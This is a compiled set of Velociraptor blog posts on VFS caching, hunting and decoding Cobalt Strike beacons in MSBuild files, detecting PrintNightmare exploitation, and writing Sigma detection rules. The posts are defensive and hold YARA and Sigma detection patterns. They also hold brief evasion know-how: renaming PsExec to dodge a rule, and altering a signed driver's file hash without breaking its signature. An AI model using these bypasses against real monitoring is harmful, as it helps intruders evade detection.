Velociraptor Blog on Velociraptor - Digging deeper!

Browsing around the filesystem.

Fri, 10 Aug 2018 04:10:06 +0000

The Virtual File System

Like GRR, Velociraptor also maintains a virtual file system view (VFS) of the client's filesystem. GRR's VFS view is generated by adding a row for each file into the database. In order to refresh the view of a certain directory, GRR issues a ListDirectory request and updates the database by storing each newly discovered file in its own row.

Velociraptor models the client's VFS as a per-directory VQL query. In order to refresh the view of a certain directory, a new VQL query is issued to the client, essentially collecting the glob information for that directory in a single VQL response table. The VQL result is then stored in a single database row. Therefore Velociraptor stores a single row per directory (as compared to GRR's single row per file approach). This leads to a huge reduction in database rows.

The tradeoff however, is that the Velociraptor VFS view can only show the state of the entire directory listing at a single point in time. GRR's VFS viewer can show old files (which have been removed) mixed in with current files because it can merge the output of different ListDirectory operations that occurred in different times. We decided this feature was not often useful and sometimes actually led to confusion since files that are removed from a directory are shown together with files currently present. Velociraptor therefore shows the VFS directory at the latest timestamp the entire directory was fetched.

Recursive VFS refresh

Users who are more familiar with traditional forensic tools (or GUI file managers like Windows Explorer) usually attempt to browse the client's VFS view interactively, searching for files and directories relevant to the case. However, since the VFS view is only a cached database view of the real client's file system, we need to go to the client to refresh the cache whenever we try to view a directory in the VFS which had not yet been fetched from the client.

Since clients are not always online, some users attempt to just recursively refresh the entire VFS view (i.e. recursively list all client directories from the root). This is however, an expensive operation (This is at least as expensive as running a recursive "find / -ls" command on the commandline). Due to GRR's extensive data model and complex multi-round trip flow model, performing a recursive VFS refresh with GRR is unlikely to work in any reasonable time (typically the flow will run for a while then hang due to race conditions in the frontend).

On the other hand, Velociraptor issues a single VQL request as a recursive directory glob and stores the entire directory content in a single VQL response taken at an instance in time. The response is streamed back to the server. The server simply splits the response table into directory specific tables, and then stores a single VQL response table for each directory in the database.

The VQL glob() plugin is guaranteed to generate results in breadth first order. This means that it emits information about all files in the same directory first, before recursing into sub directories. This feature makes it simple to split the result table into directory specific sub-tables by simply watching the FullPath column and noting when its directory changes.

Very large VQL queries

While we claimed above that Velociraptor simply issues a single VQL query and stores its result in a single database row, this was an oversimplification. If the VQL query generates too many rows, the Velociraptor client splits the response into parts (by default 10000 rows per part). This allows data to be uploaded immediately to the server and processed while the query is still executing on the client.

Consider the VFSListDirectoryflow was issued with a glob of /**10 (i.e. refresh the entire VFS view from the root directory, recursively into a depth of 10 directories). The VQL query executed was:

SELECT FullPath AS _FullPath,
    Name, Size, Mode,
    timestamp(epoch=Sys.Mtim.Sec) AS mtime,
    timestamp(epoch=Sys.Atim.Sec) AS atime,
    timestamp(epoch=Sys.Ctim.Sec) AS ctime
FROM glob(globs='/**10')

The query was issued to a Velociraptor client running on a Chromebook. This particular system has approximately 500k files in its root filesystem, and so the response consists of 500k rows. However, as the query executes, the response is split into multiple parts, each being 10k rows, and uploaded (each part is about 3mb in total).

image

Total execution time for this query is about 4 minutes and consists of about 50 parts (around 2.5mb each). It is still an expensive query, but depending on the urgency of the case, it may well be warranted.

It is very convenient to just take a snapshot of the entire filesystem, especially when the client is offline. We can issue the flow and then when the client comes back online we can review all the files.

File uploads

The VFS view is just a local cache in the data store of what is really going on the client. While we can see the file in each directory we cant transfer all the file content. Velociraptor represents downloaded files differently from just listed files. Files with the floppy disk next to them represent files that we have a local cache for. We can view the Hexview or just download them.

You can always initiate a download of a VFS file by selecting the Download tab. Unlike GRR, Velociraptor does not keep previous versions of files - a re-download will overwrite the previous file.

Cobalt Strike payload discovery and data manipulation in VQL

Tue, 09 Nov 2021 04:54:00 +0000

Velociraptor’s ability for data manipulation is a core platform capability that drives a lot of the great content we have available in terms of data parsing for artifacts and live analysis. After a recent engagement with less common encoded Cobalt Strike beacons, and finding sharable files on VirusTotal, I thought it would be a good opportunity to walk through some workflow around data manipulation with VQL for analysis. In this post I will walk though some background, collection at scale, and finally talk about processing target files to extract key indicators.

Background

The Microsoft Build Engine (MSBuild.exe) is a signed Windows binary that can be used to load C# or Visual Basic code via an inline task project file. Legitimately used in Windows software development, it can handle XML formatted task files that define requirements for loading and building Visual Studio configurations. Adversaries can abuse this mechanism for execution as defence evasion and to bypass application whitelisting - ATT&CK T1127.

In this particular engagement, the Rapid7 MDR/IR team responded to an intrusion in which during lateral movement, the adversary dropped many variants of an MSBuild inline task file to several machines and then executed MSBuild via wmi to load an embedded Cobalt Strike beacon. Detecting an in memory Cobalt Strike beacon is trivial for active threats with our process based yara and carving content.

The problem in this case was: how do you discover, then decode these encoded files on disk quickly to find any additional scope using Velociraptor?

Collection

First task is discovery and collecting our files in scope from the network. Typically this task may be slow to deploy or rely on cobbled together capabilities from other teams. The Velociraptor hunt is an easy button for this use case.

Velociraptor GUI : hunt : add hunt

Velociraptor has several valuable artifacts for hunting over Windows file systems with yara: Windows.Detection.Yara.NTFS and Generic.Detection.Yara.Glob spring to mind readily. In this instance I am selecting Yara.NTFS. I have leveraged this artifact in the field for hunting malware, searching logs or any other capability where both metadata and content based discovery is desired.

This artifact searches the MFT, returns a list of target files then runs Yara over the target list.
The artifact leverages Windows.NTFS.MFT so similar regex filters can be applied including Path, Size and date.
The artifact also has an option to search across all attached drives and upload any files with Yara hits.

Some examples of path regex may include:

Extension at a path: Windows/System32/.+\\.dll$
More wildcards: Windows/.+/.+\\.dll$
Specific file: Windows/System32/kernel32\.dll$
Multiple extensions: \.(php|aspx|resx|asmx)$

Select artifact : Windows.Detection.Yara.NTFS

The file filter: Windows/Temp/[^/]*\.TMP$ will suffice in this case to target our adversaries path for payloads before applying our yara rule. Typically when running discovery like this, an analyst can also apply additional options like file size or time stamp bounds for use at scale and optimal performance. The yara rule deployed in this case was simply quick and dirty hex conversion of text directly from the project file referencing the unique variable setup that was common across acquired samples.

rule MSBuild_buff {
   meta:
      description = "Detect unique variable setup MSBuild inline task project file"
      author = "Matt Green - @mgreen27"
      date = "2021-10-22"
   strings:
    // byte[] buff = new byte[]
    $buff = { 62 79 74 65 5b 5d 20 62 75 66 66 20 3d 20 6e 65 77 20 62 79 74 65 5b 5d }

    // byte[] key_code = new byte[]
    $key_code = { 62 79 74 65 5b 5d 20 6b 65 79 5f 63 6f 64 65 20 3d 20 6e 65 77 20 62 79 74 65 5b 5d }

condition:
      any of them
}

Windows.Detection.Yara.NTFS hunt configuration

After launching the hunt, results become available inside the hunt entry on the Velociraptor server for download or additional analysis.

Hunt results

Payload decode

The Cobalt Strike payload is a string with represented characters xor encoded as a hex formatted buffer and key in embedded C Sharp code as seen below.

MSBuild inline task project file with CobaltStrike payload

Enumerate collected files and find location on server

So far we have only collected files that have suspicious content. Now we want to post process the result and try to extract more information from the payload.

The Velociraptor notebook is a gui component that lets the user run VQL directly on the server. In this case we are leveraging the notebook attached to our hunt to post process results opposed to downloading the files and processing offline.

Our first step of decode is to examine all the files we collected in the hunt. The first query enumerates all the individual collections in the hunt, while the second query retrieves the files collected for each job.

-- find flow ids for each client
LET hunt_flows = SELECT *, Flow.client_id as ClientId, Flow.session_id as FlowId
FROM hunt_flows(hunt_id='H.C6508PLOOPD2U')

-- extract uploaded files and path on server
Let targets = SELECT  * FROM foreach(row=hunt_flows,
    query={
        SELECT
            file_store(path=vfs_path) as SamplePath,
            file_size as SampleSize
        FROM uploads(client_id=ClientId,flow_id=FlowId)
    })

SELECT * FROM targets

Find the location of all files collected

Extract encoded payload and xor key

For the second step, to extract target bytes we leverage the parse_records_with_regex() plugin to extract the strings of interest (Data and Key) in our target files. Note: the buffer_size argument allows VQL to examine a larger buffer than the default size in order to capture the typically very large payloads in these build files. We have also included a 200 character limitation on the data field initially as this will improve performance when working on VQL. We have also specified buffer size to be larger than default and just larger than the biggest payload in scope.

-- regex to extract Data and Key fields
LET target_regex = 'buff = new byte\\[\\]\\s*{(?P<Data>[^\\n]*)};\\s+byte\\[\\]\\s+key_code = new byte\\[\\]\\s*{(?P<Key>[^\\n]*)};\\n'

SELECT * FROM foreach(row=targets,
    query={
        SELECT
            basename(path=SamplePath) as Sample,
            SampleSize,
            Key, --obtained from regex
            read_file(filename=Data,accessor='data',length=200) as DataExtract -- obtained by regex, only output 200 characters
        FROM parse_records_with_regex(
            file=SamplePath,buffer_size=15000000,
            regex=target_regex)
    })

parse_records_with_regex() is a VQL plugin that parses a file with a set of regexp and yields matches as records. The file is read into a large buffer. Then each regular expression is applied to the buffer, and all matches are emitted as rows.

The regular expressions are specified in the Go syntax. They are expected to contain capture variables to name the matches extracted.

The aim of this plugin is to split the file into records which can be further parsed. For example, if the file consists of multiple records, this plugin can be used to extract each record, while parse_string_with_regex() can be used to further split each record into elements. This works better than trying to write a more complex regex which tries to capture a lot of details in one pass.

VQL: extract data and keys

Extract normalisation

The third step adds a custom function for hex normalisation and converts the inline C Sharp style encoding to a standard hex encoded string which VQL can easily parse. In this case, the local normalise function will ensure we have valid 2 character hex. The regex_replace() will strip the leading ‘0x’ from the hex strings and prepare for xor processing.

-- regex to extract Data and Key fields
LET target_regex = 'buff = new byte\\[\\]\\s*{(?P<Data>[^\\n]*)};\\s+byte\\[\\]\\s+key_code = new byte\\[\\]\\s*{(?P<Key>[^\\n]*)};\\n'

-- normalise function to fix bad hex strings
LET normalise_hex(value) = regex_replace(source=value,re='0x(.)[,}]',replace='0x0\$1,')

SELECT * FROM foreach(row=targets,
    query={
        SELECT
            basename(path=SamplePath) as Sample,
            SampleSize,
            regex_replace(re="0x|,", replace="", source=normalise_hex(value=Key)) as KeyNormalised,
            regex_replace(re="0x|,", replace="", source=normalise_hex(value=Data)) as DataNormalised
        FROM parse_records_with_regex(
            file=SamplePath,buffer_size=15000000,
            regex=target_regex)
    })

VQL: hex normalisation

Extract to bytes

The fourth step converts hex to bytes and validates that the next stage is working. In the example VQL below we pass the hex text to the unhex() function to produce raw bytes for our variables.

SELECT * FROM foreach(row=targets,
    query={
        SELECT
            basename(path=SamplePath) as Sample,
            SampleSize,
            unhex(string=regex_replace(re="0x|,", replace="", source=normalise_hex(value=Key))) as KeyBytes,
            read_file(filename=
                unhex(string=regex_replace(re="0x|,", replace="", source=normalise_hex(value=Data))),
                    accessor='data',length=200) as DataBytesExtracted
        FROM parse_records_with_regex(
            file=SamplePath,buffer_size=15000000,
            regex=target_regex)
    })

VQL: extract bytes

Xor decode

VQL’s flexibility comes with its ability to reuse existing artifacts in different ways. The fifth step is running Velociraptor’s xor() function and piping the output into our the existing Windows.Carving.CobaltStrike() configuration decoder.

-- extract bytes
LET bytes <= SELECT * FROM foreach(row=targets,
    query={
        SELECT
            SamplePath, basename(path=SamplePath) as Sample, SampleSize,
            unhex(string=regex_replace(re="0x|,", replace="", source=normalise_hex(value=Key))) as KeyBytes,
            read_file(filename=
                unhex(string=regex_replace(re="0x|,", replace="", source=normalise_hex(value=Data))),
                    accessor='data') as DataBytes
        FROM parse_records_with_regex(
            file=SamplePath,buffer_size=15000000,
            regex=target_regex)
    })

-- pass bytes to cobalt strike parser and format key indicators im interested in
SELECT *, FROM foreach(row=bytes,query={
    SELECT *,
        basename(path=SamplePath) as Sample,SampleSize
    FROM Artifact.Windows.Carving.CobaltStrike(TargetBytes=xor(key=KeyBytes,string=DataBytes))
})

VQL: parse config

Decoded Cobalt Strike configuration is clearly observed.

Cobalt strike configuration example

The smallest file also includes a Cobalt Strike shellcode stager, which I have recently added to the Velociraptor Cobalt Strike parser.

Cobalt strike shellcode example

Additional analysis

Finally, we may have a desire to extract specific key indicators and compare across samples. A simple data stack on key indicators of interest.

-- pass bytes to cobalt strike parser and format key indicators im interested in
LET cobalt = SELECT *, FROM foreach(row=bytes,query={
    SELECT
        basename(path=SamplePath) as Sample,SampleSize,
        Hash as DecodeHash,
        Rule,Offset,Xor,DecodedConfig
    FROM Artifact.Custom.Windows.Carving.CobaltStrike(TargetBytes=xor(key=KeyBytes,string=DataBytes))
})

-- quick data stack on a few things to show sample analysis
SELECT count() as Total,
    if(condition= Xor=~'^0x(2e|69)$', then=DecodedConfig.BeaconType, else= 'Shellcode stager') as Type,
    if(condition= Xor=~'^0x(2e|69)$', then=DecodedConfig.LicenseId, else= DecodedConfig.Licence) as License,
    if(condition= Xor=~'^0x(2e|69)$', then=dict(SpawnTox86=DecodedConfig.SpawnTox86,SpawnTox64=DecodedConfig.SpawnTox64), else= 'N/A') as SpawnTo,
    if(condition= Xor=~'^0x(2e|69)$', then=DecodedConfig.Port, else= 'N/A') as Port,
    if(condition= Xor=~'^0x(2e|69)$', then=DecodedConfig.C2Server, else= DecodedConfig.Server) as Server
FROM cobalt
GROUP BY Type, Licence,SpawnTo,Port,Server

VQL results: key indicators of interest

Conclusions

In this post we showed discovery, then decode of encoded Cobalt Strike beacons on disk. Velociraptor can read, manipulate and enrich data efficiently across a large network without the overhead of needing to extract and process manually.

Whilst most traditional workflows concentrate on collection and offline analysis, Velociraptor notebook also enables data manipulation and flexibility in analysis. If you would like to try out these features in Velociraptor, It is available on GitHub under an open source license. As always, please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com. You can also chat with us directly on discord at https://www.velocidex.com/discord.

References

Velociraptor vs Printnightmare

Sun, 11 Jul 2021 18:13:50 +0000

Hunting a Zero day!

Velociraptor is an advanced open source endpoint visibility framework based on a flexible query language called VQL. What makes Velociraptor unique from other endpoint tools is the flexibility to develop new queries to address emerging threats.

This post walks through a common use case for Velociraptor’s VQL: detecting exploitation of a new zero day (A newly announced vulnerability without a patch available). Once a zero day has been announced, time is of the essence! Defenders must scramble to determine possible remediations and detect exploitation on their network.

This is when Velociraptor’s quick and flexible approach shines: As defenders we can develop a query to detect past exploitation of the vulnerability, ensure hardening or patching has been applied to prevent future exploitation. Additionally, Velociraptor provides a mechanism for ongoing real-time monitoring using VQL queries, therefore allowing us to use it for real time detection or future attacks.

Background

On the 29th of June a POC exploit for a critical vulnerability was accidentally released by a researcher that targeted the Microsoft Print Spooler service. The “PrintNightmare” vulnerability (CVE-2021-1675/34527 ), could be used to remotely compromise a Windows system with SYSTEM privileges. While a patch was initially released during the June 8 patch cycle, security researchers quickly discovered it was incomplete and exploitation was still available on fully patched windows hosts.

At this time, we wanted to rapidly develop a VQL query that would indicate if any endpoint had been exploited through this vector. Our first task was to learn more about the issue and particularly try to understand what Digital Forensic artifacts were left behind on the system after a successful exploitation attempt.

While many other researchers were focusing solely on windows event logs, Velociraptor provides access to many more forensically significant artifacts, because it is running on the endpoint. This allows us to explore a richer and more accurate set of artifacts in order to detect exploitation attempts.

Exploitation

We will first begin by replicating the issue using a couple of the open source POC exploits. For our testing we used the MimiKatz PrintNightmare capability and a local privilege escalation powershell POC available here.

Mimikatz PrintNightmare

An excellent walk through of the vulnerability can be found here and here, but what does the exploit actually do?

Attackers connect to the Print Spooler Service by sending a request to add a printer using a windows API (AddPrinterDriverEx) over SMB, or RPC.

When installing a new “print driver” the attacker can configure several module paths and configuration inside pDriverContainer and these paths are copied to the print spool folder during installation.

Some of the POC variations copied files in slightly different ways but each ended up with an attacker controlled module being executed by the spoolsv.exe as a driver datafile, enabling the Remote Code Execution or Local Privilege Elevation.

We can use Procmon to see what files were modified on the system.

So a successful exploit results in the copying of a new dll into the spool directory and the dll being loaded by the spoolsv.exe service process.

Detecting new files in the spool directory.

As a first iteration, let’s use Velociraptor to recursively list all the binaries in the spool/drivers directory. We can use the regular OS APIs to list the directory, but in our case we will scan the entire filesystem by parsing the NTFS internal structures (Analysis of the NTFS may even reveal presently deleted files).

The above query parses the entire master file table (MFT) and returns information about those files in the spool directory.

PE listing in Windows\System32\spool\drivers**

While the proof of concept malicious drivers are immediately recognizable by name (mimilib.dll and nightmare.dll) we don’t want to rely on name alone since that is easily changed by a real attacker. Let’s add to this query some more information about the executable file itself, such as PE attributes (like export table, import tables) hashes and specifically, if the file is signed or not (i.e. its authenticode signature verification). An example query is shown below.

The additional information about any modules found is critical in allowing analysts to quickly discount legitimate binaries and speed up the triage process.

Mimikatz payload: PE attributes and authenticode

In the example above, we can see the Mimikatz exploit loads the mimikatz DLL into the spools directory. The DLL is easily recognizable by its authenticode signature which in most environments would immediately designate it as suspicious.

We can also view obvious malicious PE exports or similarly, an absence of print function related imports as a good signal that the binary is not a legitimate printer driver. Finally time based filters for the time period of exposure can be used as data points for potential exploitation.

The Mimikatz POC loaded a signed component, but many other exploits will load an unsigned binary. A binary with an untrusted Authenticode signature is a valuable data point in detecting malicious code. See this previous post for information on Authenticode. Below we see the dll loaded by the second exploit POC we tried, based on powershell.

PrintNightmare payload: PE attributes and authenticode

Because Velociraptor is running on the endpoint, its Authenticode verification code can verify catalog based signatures. Most Microsoft authored print drivers are signed via catalogs - meaning there is no authenticode signature section in the file itself! One has to verify the hash in a system wide hash “catalog” file, itself signed by the developer.

Many binary classification services are not able to verify catalog signatures, therefore displaying the file as unsigned. This can be confusing for analysts who can not quickly triage the file as legitimate. The below screenshot shows a VirusTotal search for a legitimate Microsoft print driver. Although the file is not detected as malicious, it is not shown as signed either.

mxdwdrv.dll: not by verified signature - VirusTotal trusted tag by hash

All original Microsoft printer drivers are trusted and properly signed via catalog, as shown by Velociraptor. Note that Velociraptor is also able to indicate who signed the respective catalog file.

mxdwdrv.dll: validated Authenticode signature by catalog

Conclusions

In this post we developed a VQL artifact to detect exploited systems by searching for residual printer drivers in the spools directory. We enriched our detection using Authenticode signature verification, file timestamps, file hashes and PE attributes (like the import/export table) to quickly determine which drivers were legitimate and which could indicate past exploitation.

We can collect this information from the entire Velociraptor fleet in minutes by simply running a “hunt” over the deployment.

We have uploaded our query and a version to monitor print driver creation in the form of a VQL artifact to the Velociraptor “Artifact Exchange” - a central place for the community to share Velociraptor artifacts. This saves time for other Velociraptor users, who can simply reuse our work and quickly hunt the artifact across their entire deployment to determine if they were previously exploited by this vulnerability.

If you would like to try hunting for this indicator, take Velociraptor for a spin! It is available on GitHub under an open source license. As always, please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com. You can also chat with us directly on discord at https://www.velocidex.com/discord

Detection Engineering

Wed, 08 May 2024 23:25:17 +0000

This post accompanies the presentation Advances in Detection Engineering presented at the annual Auscert 2024 Conference on the 24th May 2024

As defenders, we rely on having an efficient and effective detection capabilities so we can shut down attacks quickly before the damage is done. To do this effectively, defenders rely on automated detection, driven by specific rules. While there are many detection platforms available with different ways of writing rules, there is a lot of commonality in the type of rules that are needed for effective detection - this new discipline is called “Detection Engineering”.

What is Detection Engineering?

While intrusion detection systems and tools have always been in use in the enterprise space, it has only been a recent realization that tools alone are not sufficient for effective detection. Organizations must dedicate resources and expertise to specialists in tuning and architecting effective detection system.

The discipline of Detection Engineering is a science of writing, maintaining and testing detection rules and systems against an evolving threat landscape. It is now considered an important integral part for an effective and mature security program.

This blog post discusses some of the challenges in testing and maintaining detection rules, specifically Sigma rules. We also cover some emerging scenarios where detection engineering can be employed, such as in Forensic Triage and wider Threat Hunting.

Traditional SIEM based detection

Traditionally detection focuses on event logs as the main source of information. Event logs are parsed and shipped from the endpoints to a central data mining server where queries are run over the data.

For example, using the ELK stack, the Winlogbeats endpoint agent:

Parses certain raw event logs on the endpoint (For example Sysmon event log)
Applies normalization of fields (mostly renaming fields) to the Elastic Common Schema (ECS).
Forwards events to an Elastic Cluster.
Queries are run on the Elastic cluster using a specialized query language to detect anomalies.

Other stacks collect different sources, implement different normalization process and have different query languages and dialects.

When comparing various detection technologies we can see that although the basic principals are similar (collect logs, normalize logs into a schema, forward to data mining system and then query the data) the specifics are very different.

The Sigma Rule format

Because each system is different, it is difficult to exchange detection rules within the community. For example an Elastic query might apply to those running the ELK stack but will not be applicable to those running Splunk or another system.

The Sigma standard was designed to try to address the situation by creating another layer of abstraction over the actual detection stack, in order to facilitate rule exchange. The hope is that rules can be immediately usable across different detection stacks.

This is achieved by defining an abstract YAML based format for writing detection rules. These rules are then fed to specialized Sigma Compilers to produce stack specific queries for difference SIEM vendors.

Sigma addresses the differences between the detection stacks by introducing abstractions at various levels:

The differences in internal Schema normalization is addressed by abstracting field names. Rather than selecting a standard, well defined taxonomy of field names, Sigma leaves the precise fields allowed within a rule to the Sigma Compiler Field Mapping configuration.
Different detection stacks collect different event logs. However, instead of specifying the precise event logs a rule applies to, Sigma defines an abstract log source which is mapped to the concrete source using the Sigma Compiler’s Log Source Mappings.

This lack of rigorous definitions leads to inaccuracies and compatibility problems as we shall see shortly, however let’s first examine a typical Sigma Rule:

logsource:
    category: process_creation
    product: windows
detection:
    process_creation:
        EventID: 4688
        Channel: Security
    selection:
        -   CommandLine|contains|all:
                - \AppData\Roaming\Oracle
                - \java
                - '.exe '
        -   CommandLine|contains|all:
                - cscript.exe
                - Retrive
                - '.vbs '
    condition: process_creation and selection

Log sources

Sigma rules are written to target certain events from particular log sources. The Sigma rule specifies the log source in the logsource section, breaking it by category, product and service etc.

This example rule specifies that it applies on events collected from the process_creation log. But what does process_creation mean exactly? The Sigma documentation doesn’t really specify what that means.

Typically we can get process creation information for various sources, for example Sysmon Event ID 1 is a common source of process creation. Similarly the Windows Security Log generates Event ID 4688. Of course we could always forward events from a local EDR or other security software which records process execution, but the rule’s logsource section does not specify precisely what the event log actually is.

Field mappings

The above rule specifies a detection section. This section consists of a condition which when satisfied, causes the rule to fire. The above rule compares the command line to a number of strings. The rule refers to the command line using the CommandLine field.

In practice, the event itself consists of various fields, but the exact name of each field depends on the data normalization that takes place at the sensor level. For example Elastic Common Schema normalizes the CommandLine field to process.command_line in the ECS Schema.

Therefore Sigma uses a target-specific translation between abstract Sigma fields to the actual field in the event record in the target SIEM. This translation is called Field Mapping and depends on the target detection stack used and its event normalization (and to some extent its own configuration).

Using Sigma Rules effectively

When using Sigma rules in practice, there are many false positive. Usually the rules need to be tailored for the environment. For example, in some environments running PsExec is a common practice between system administrators and so alerting on lateral movement using PsExec is going to be a false positive.

The detection engineer’s main challenge is to understand what rules can be ignored and how they can be bypassed. This takes a lot of practice and experience.

Consider the following Sigma rule excerpt:

title: PSExec Lateral Movement
logsource:
    product: windows
    service: system
detection:
    selection:
        Channel: System
        EventID: 7045
    selection_PSEXESVC_in_service:
        Service: PSEXESVC
    selection_PSEXESVC_in_path:
        ImagePath|contains: PSEXESVC
    condition: selection and (selection_PSEXESVC_in_service or selection_PSEXESVC_in_path)

This rule detects when a new service is created with the name PSEXESVC or a service is created with that name included in the path. While this is the default behavior of PsExec it is trivial to bypass this rule. Viewing the PsExec Documentation we can see that the -r flag can change this service name to anything while the filename itself can be changed as well.

An experienced detection engineer will recognize that better telemetry can help detect when a program is renamed by using the OriginalFileName field from Sysmon’s process execution logs with the following rule excerpt:

title: Potential Defense Evasion Via Rename Of Highly Relevant Binaries
author: Matthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113
logsource:
    category: process_creation
    product: windows
detection:
    selection:
      - Description: 'Execute processes remotely'
      - Product: 'Sysinternals PsExec'
      - OriginalFileName:
          - 'psexec.exe'

This is an excellent example where additional information (in the form of the executable’s VersionInformation resource) gathered from the endpoint can help improve detection efficiency significantly. We will see below how adding more details to the collected data (perhaps beyond the event log itself) can vastly improve the quality and fidelity of detection rules.

As a second example, let’s explore the use of hashes in detection rules. Consider the following rule excerpt which detects the loading of a known vulnerable driver:

title: Vulnerable Lenovo Driver Load
author: Florian Roth (Nextron Systems)
logsource:
    category: driver_load
        product: windows
detection:
    selection_sysmon:
        Hashes|contains:
        - 'SHA256=F05B1EE9E2F6AB704B8919D5071BECBCE6F9D0F9D0BA32A460C41D5272134ABE'
        - 'SHA1=B89A8EEF5AEAE806AF5BA212A8068845CAFDAB6F'
        - 'MD5=B941C8364308990EE4CC6EADF7214E0F'
    selection_hash:
        - sha256: 'f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe'
        - sha1: 'b89a8eef5aeae806af5ba212a8068845cafdab6f'
        - md5: 'b941c8364308990ee4cc6eadf7214e0f'
    condition: 1 of selection*

Attackers often load vulnerable drivers so they can exploit them to gain access to kernel space. While it is well known that hashes are usually a weak signal (because the attacker can trivially change the file) in the case of loaded drivers, the driver must be signed to be successfully inserted into the kernel.

This had led to a misconception that driver files cannot be modified - otherwise their digital signature will be invalidated making them unable to be loaded into the kernel.

Unfortunately this is not true - a signed binary file can easily be modified in such as a way that it’s authenticode hash (which is signed) remains the same but its file hash changes. This is because a file hash covers the entire file, while the authenticode hash only covers selected regions of the binary. It is very easy to modify a binary in those regions which are not covered by the authenticode hash (usually some padding areas towards the end of the file) while retaining its authenticode hash.

An experienced detection engineer is aware of this shortcoming and would not use hashes directly in a Sigma rule. Instead the following rule may be used:

title: Vulnerable HackSys Extreme Vulnerable Driver Load
author: Nasreddine Bencherchali (Nextron Systems)
logsource:
    product: windows
    category: driver_load
detection:
    selection_name:
        ImageLoaded|endswith: '\HEVD.sys'
    selection_sysmon:
        Hashes|contains:
        - 'IMPHASH=f26d0b110873a1c7d8c4f08fbeab89c5' # Version 3.0
        - 'IMPHASH=c46ea2e651fd5f7f716c8867c6d13594' # Version 3.0
    selection_other:
        Imphash:
        - 'f26d0b110873a1c7d8c4f08fbeab89c5' # Version 3.0
        - 'c46ea2e651fd5f7f716c8867c6d13594' # Version 3.0
    condition: 1 of selection*

This rule uses the ImpHash which is a hash of the import table of the executable. Since the import table is covered within the authenticode hash it is not possible to modify the binary in such a way that its digital signature remains valid while the ImpHash changes.

Sadly Sysmon currently does not report the Authenticode Hash of the binary which would be ideal as it can not be changed without invalidating the signature and covers all the important parts of the executable file. Currently Sysmon only reports file hashes (which are easily changed) and ImpHash which can be easily changed as well but will invalidate signature.

Sigma shortcomings

While Sigma rules are supposed to be directly usable between detection stacks, by simply changing the compiler backend. However this is rarely the case. Because the Sigma standard is not well specified and lacks a common taxonomy it is difficult to use a rule designed to operate on the output of Sysmon event logs with a detection stack that only uses System logs or EDR logs.

For example, in the above example rule, we see that the rule requires the Channel to match Security and the EventID to match 4688 - clearly this rule can only apply on the security event log source. Replacing the log source with Sysmon provided events (which do technically provide the process_creation log source) will simply never fire this rule!

Because the logsource section of the Sigma specification is not really specific enough, most rules have a further detection clause to better define the precise log source. Although technically it is not always accurate to use that clause instead of the logsource because the clause can be use in an arbitrary logical context, most of the time it is a filter so can be taken as a substitute for the real log source.

The logsource section is simply redundant at best and misleading at worst; a user can assume the rule will detect an attack when Sysmon logs are available but this is simply not the case. It would be better if Sigma rules were less ambiguous and simply contained precise log source information.

There is also little error checking due to a lack of precise taxonomy. A sigma rule can specify an unknown field that is simply not present in the event but there is no way to know that the rule will fail to match. Apart from the obvious problem of a rule specifying a mis-typed field, the field may not be collected at all from the endpoint.

The example above uses the CommandLine field of the System event 4688, however this is not always present! According to the Microsoft Documentation this field is only present sometimes:

In order to see the additions to event ID 4688, you must enable the new policy setting: Include command line in process creation events.

Without knowledge of the endpoint policy in the specific deployment it is impossible to know if this rule will ever fire.

The following example rule is invalid and exists within the official Sigma repository:

title: Remote Thread Creation By Uncommon Source Image
logsource:
    product: windows
    category: create_remote_thread
detection:
    create_remote_thread:
        EventID: 8
        Channel: Microsoft-Windows-Sysmon/Operational
    selection:
        SourceImage|endswith:
            - \bash.exe
            - \cscript.exe
            ...
            - \wmic.exe
            - \wscript.exe
    filter_main_winlogon_1:
        SourceImage: C:\Windows\System32\winlogon.exe
        TargetImage:
            - C:\Windows\System32\services.exe
            - C:\Windows\System32\wininit.exe
            - C:\Windows\System32\csrss.exe
    filter_main_winlogon_2:
        SourceImage: C:\Windows\System32\winlogon.exe
        TargetParentImage: System
        TargetParentProcessId: 4
        ...
    condition: create_remote_thread and (selection and not 1 of filter_main_* and
        not 1 of filter_optional_*)

At first sight this looks like a good rule - It targets Sysmon process execution logs (EventID 8) using a channel detection section (the logsource section is as usual meaningless and should be ignored). However on very close examination we can see this rule references the fields TargetParentProcessId and TargetParentImage. Consulting the Sysmon Documentation we can see that there is no such field in the Sysmon output. Therefore this rule will generally not work for standard Sysmon installs.

On-endpoint detection

The previously described model relies on forwarding events from the endpoint to a central location, where detection is actually made. This approach is challenging in practice:

There is a trade-off between the volume and type of events relayed to the SIEM: On a typical Windows system there are hundreds of different event logs and event types. It is impossible to forward all events from the endpoint to the SIEM without increasing the network, storage and processing cost on the SIEM itself. A choice must be made of which events to forward.
Some of the normalization steps taken aim to reduce the total data transferred by removing some redundant fields from certain events. We have already seen before that CommandLine for Event ID 4688 is an optional field which needs to be deliberately enabled in practice.

Detection capabilities are slowly migrating from a purely centralized detection engine that processes forwarded events from the endpoint, to more endpoint-focused detection capabilities where the endpoint can autonomously enrich and respond to detection events. This allows the endpoint to triage the events by applying detection rules on the endpoint directly. Therefore only high value events are forwarded to the SIEM.

Case study: Velociraptor

Velociraptor is a powerful endpoint incident response and triaging tool. At its core, Velociraptor uses the Velociraptor Query Languages (VQL) to perform flexible triaging on the endpoint.

Recently, Velociraptor gained a native sigma() plugin, allowing the endpoint agent to directly evaluate Sigma rules. A VQL artifact is sent to the endpoint over the network containing several main sections:

A set of Sigma rules to evaluate
A list of logsource queries to evaluate directly from the on disk event log files.
A mapping between Sigma rules and their corresponding event fields.

Velociraptor Sigma Workflow

Velociraptor curated rules

As described previously, it is difficult to directly use Sigma rules without careful verification. The Velociraptor Sigma Project implements a Velociraptor artifact compiler which builds a VQL Artifact with a curated and verified set of rules.

The compiler verifies the following things

Many rules do not have accurate logsource sections but instead specify the event log to be read in their first detection clause. Therefore the compiler overrides the logsource with a more accurate source based on the detection clause.
The compiler compares the known set of event fields to the set of fields specified in the Sigma rule and flags any rules which refer to unknown fields.
Remove rules with non-standard or unsupported Sigma modifiers.

The Velociraptor Sigma project curates a number of rule sets from sources such as:

Hayabusa is a project to maintain Sigma rules for on endpoint analysis. Hayabusa is also a standalone engine to match the Sigma rules on the endpoint’s event logs (similar to Velociraptor’s sigma() plugin)
